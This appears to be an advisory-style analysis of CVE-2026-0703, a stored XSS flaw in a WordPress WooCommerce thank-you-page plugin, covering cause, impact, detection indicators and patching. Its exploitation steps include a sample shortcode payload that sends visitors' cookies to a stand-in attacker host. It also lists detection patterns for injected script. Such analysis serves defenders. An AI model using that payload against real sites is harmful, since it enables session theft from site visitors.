CVE-2026-0703: 
WordPress vulnerability analysis and mitigation

CVE-2026-0703 is a Stored Cross-Site Scripting (XSS) vulnerability in the NextMove Lite – Thank You Page for WooCommerce plugin for WordPress. It affects all versions up to and including 2.23.0, where insufficient input sanitization and output escaping on user-supplied attributes in the xlwcty_current_date shortcode allow authenticated attackers with contributor-level access or above to inject arbitrary web scripts. The vulnerability was published on May 2, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically due to missing sanitization and output escaping on user-supplied attributes passed to the xlwcty_current_date shortcode, as seen in the plugin source at merge-tags/xlwcty-shortcode-merge-tags.php (lines 79 and 87) (GitHub Advisory). An attacker with at least contributor-level WordPress access can embed a malicious shortcode with crafted attributes into a post or page; when any user visits that page, the injected script executes in their browser context. The attack vector is network-based, requires low privileges, low complexity, and no user interaction beyond a victim visiting the injected page (Wordfence).

Successful exploitation allows authenticated attackers to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of any user who visits the affected page. This can result in session cookie theft, account hijacking, unauthorized actions performed on behalf of victims, redirection to malicious sites, or defacement of website content. Confidentiality and integrity are both impacted at a low level, with no direct availability impact (GitHub Advisory, Wordfence).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.03% (12th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities.

1. Reconnaissance: Identify WordPress sites running the NextMove Lite – Thank You Page for WooCommerce plugin at version 2.23.0 or earlier, using tools like WPScan or manual inspection of plugin version files.
2. Obtain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on the target site.
3. Craft malicious shortcode: Create a post or page containing the xlwcty_current_date shortcode with a malicious attribute, e.g., [xlwcty_current_date format="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or save the content: Submit the post/page (even as a draft pending review, depending on site configuration), embedding the payload persistently in the database.
5. Trigger execution: When any authenticated or unauthenticated user visits the injected page, the browser renders the unsanitized output and executes the injected script, enabling cookie theft, session hijacking, or further malicious actions (GitHub Advisory, Wordfence).

• Logs: WordPress access logs showing requests to pages containing the xlwcty_current_date shortcode with unusual or encoded attribute values; database query logs showing insertion of script tags or JavaScript event handlers into post content.
• File System: No direct file system artifacts expected for this stored XSS, but review the WordPress database wp_posts table for posts/pages containing <script>, onerror, onload, or other JavaScript event attributes within shortcode parameters.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting WooCommerce thank-you or order confirmation pages; unusual referrer patterns in web server logs originating from injected pages.
• Application: Presence of [xlwcty_current_date] shortcodes with non-standard or encoded attribute values in WordPress post/page content (Wordfence).

Update the NextMove Lite – Thank You Page for WooCommerce plugin to a version released after 2.23.0, which includes the fix applied in changeset 3482613 (WordPress Trac). As interim mitigations, restrict contributor-level and higher WordPress roles to trusted users only, and audit existing posts and pages for suspicious shortcode attributes. Deploying a Web Application Firewall (WAF) with XSS detection rules — such as Wordfence — can help detect and block exploitation attempts (Wordfence).

Wordfence, the assigning CNA, published the vulnerability in their threat intelligence database and included it in their weekly WordPress vulnerability report for the week of April 27 – May 3, 2026 (Wordfence Weekly Report). The vulnerability was also referenced in the CISA weekly vulnerability bulletin for the week of April 27, 2026 (CISA Bulletin). No notable independent researcher commentary or significant social media discussion has been identified beyond standard aggregator coverage.